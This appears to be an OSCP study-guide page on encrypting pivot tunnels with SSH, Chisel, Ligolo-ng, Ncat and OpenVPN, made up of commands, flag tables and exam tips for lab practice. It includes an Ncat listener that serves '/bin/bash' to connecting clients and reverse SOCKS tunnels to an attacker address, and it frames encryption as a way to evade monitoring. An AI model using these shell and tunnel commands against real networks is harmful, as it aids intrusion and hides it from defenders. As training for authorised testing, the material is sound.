Domain 5Pivoting & MetasploitCORE

Encrypted Tunneling

Complete guide to encrypted tunneling methods including SSH, Chisel with TLS, OpenVPN, Ncat SSL, and Ligolo-ng TLS for secure OSCP operations.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-01
#encryption#tls#ssl#chisel-tls#ssh-encryption#oscp

Encrypted Tunneling

Encrypting your tunnel traffic prevents network monitoring, protects credentials, and defeats passive packet capture. This guide covers all encryption methods available for OSCP tunneling.

Why Encrypt Tunnels?

Reason Explanation
Prevent traffic analysis Encrypted payloads cannot be inspected
Protect credentials Passwords and hashes travel safely through the tunnel
Defeat packet capture Wireshark/tcpdump shows only encrypted data
Compliance Some engagements require encryption
Stealth Encrypted traffic is harder to attribute

Encryption Options Comparison

Method Encryption Protocol Setup Complexity Best For
SSH AES (built-in) SSH Low Always — SSH is always encrypted
Chisel + TLS TLS 1.2/1.3 HTTP/TLS Low When SSH not available
OpenVPN AES-256-GCM UDP/TCP High Full VPN tunnel
Ncat + SSL TLS TCP Medium Quick encrypted shells
Ligolo-ng + TLS TLS WebSocket/TLS Low Modern VPN tunnel

SSH (Always Encrypted)

SSH is always encrypted by default. No extra configuration needed.

Default Encryption

# SSH uses AES-256-GCM or ChaCha20-Poly1305 by default
ssh -D 1080 -N user@10.10.10.5

# Verify cipher in use
ssh -v -D 1080 -N user@10.10.10.5 2>&1 | grep "Cipher"
# Output: Cipher: aes256-gcm@openssh.com

Cipher Selection

# Force specific cipher
ssh -c aes256-gcm@openssh.com -D 1080 -N user@10.10.10.5

# Available ciphers
ssh -Q cipher

Chisel with TLS

Chisel supports TLS encryption for its tunnel traffic.

Self-Signed Certificate Generation

# Generate self-signed certificate and key
openssl req -newkey rsa:2048 -nodes -keyout key.pem \
    -x509 -days 365 -out cert.pem -subj "/CN=chisel"

# Or with SAN (Subject Alternative Name)
openssl req -newkey rsa:2048 -nodes -keyout key.pem \
    -x509 -days 365 -out cert.pem \
    -subj "/CN=chisel" \
    -addext "subjectAltName=DNS:chisel,IP:10.10.14.3"

Server with TLS

# Start Chisel server with TLS on port 443
chisel server --port 443 --reverse \
    --tls-cert cert.pem --tls-key key.pem

Client with TLS

# Connect with TLS, skip verification for self-signed cert
./chisel client --tls-skip-verify 10.10.14.3:443 R:socks

# Or with proper CA verification
./chisel client --tls-ca-cert cert.pem 10.10.14.3:443 R:socks

TLS Flags Reference

Flag Description
--tls-cert Path to TLS certificate file (server)
--tls-key Path to TLS private key file (server)
--tls-skip-verify Skip certificate verification (client)
--tls-ca-cert Path to CA certificate for verification (client)
--tls-min-version Minimum TLS version (1.2 or 1.3)

Ligolo-ng with TLS

Ligolo-ng supports TLS encryption for its transport.

Server with TLS

# Generate certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem \
    -x509 -days 365 -out cert.pem -subj "/CN=ligolo"

# Start console with TLS
ligolo-ng-console
# Inside console:
config set tls true
config set tls-cert cert.pem
config set tls-key key.pem
listen

Client with TLS

# Connect with TLS
ligolo-ng-client --tls --tls-ca-cert cert.pem --url wss://10.10.14.3:11601/tunnel

# Skip verification
ligolo-ng-client --tls --url wss://10.10.14.3:11601/tunnel

Ncat with SSL Encryption

Ncat (from Nmap) supports SSL/TLS encryption.

Certificate Generation

openssl req -newkey rsa:2048 -keyout key.pem -out cert.pem \
    -nodes -x509 -days 365 -subj "/CN=ncat"

Encrypted Listener

# Listener with SSL
ncat --listen 4443 --ssl --cert cert.pem --key key.pem -e /bin/bash

Encrypted Client

# Connect with SSL
ncat --ssl 10.10.10.5 4443

Encrypted Tunnel

# Forward through SSL
ncat --ssl --listen 8080 --cert cert.pem --key key.pem \
    -c 'ncat --ssl 10.10.10.10 80'

OpenVPN Encryption

OpenVPN uses strong encryption by default.

Default Cipher

# In server.conf
cipher AES-256-GCM
auth SHA512
tls-cipher TLS-ECDHE-RSA-WITH-AES-256-GCM-SHA384

Certificate Authority

# Generate CA
openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt \
    -subj "/CN=OpenVPN-CA"

# Generate server cert
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr \
    -subj "/CN=server"
openssl x509 -req -days 3650 -in server.csr -CA ca.crt \
    -CAkey ca.key -CAcreateserial -out server.crt

Choosing the Right Encryption Method

Scenario Recommended Method Why
SSH available SSH Always encrypted, zero config
No SSH, need quick tunnel Chisel + TLS Easy setup, strong encryption
Full VPN needed OpenVPN or Ligolo-ng + TLS IP-level tunnel, encrypted
Quick encrypted shell Ncat + SSL Simple, built into Nmap
Maximum stealth Chisel + TLS on port 443 Looks like HTTPS
Modern and flexible Ligolo-ng + TLS Full IP tunnel, easy setup

OSCP Exam Tips

  1. SSH is always encrypted — no extra work needed.
  2. Chisel + TLS on port 443 is your best encrypted non-SSH option.
  3. Self-signed certs are fine for OSCP — use --tls-skip-verify.
  4. Don’t skip encryption — it’s good practice and may be tested.
  5. Keep cert/key files organized — note their locations.
  6. TLS adds minimal overhead — don’t skip it for performance reasons.

Further Reading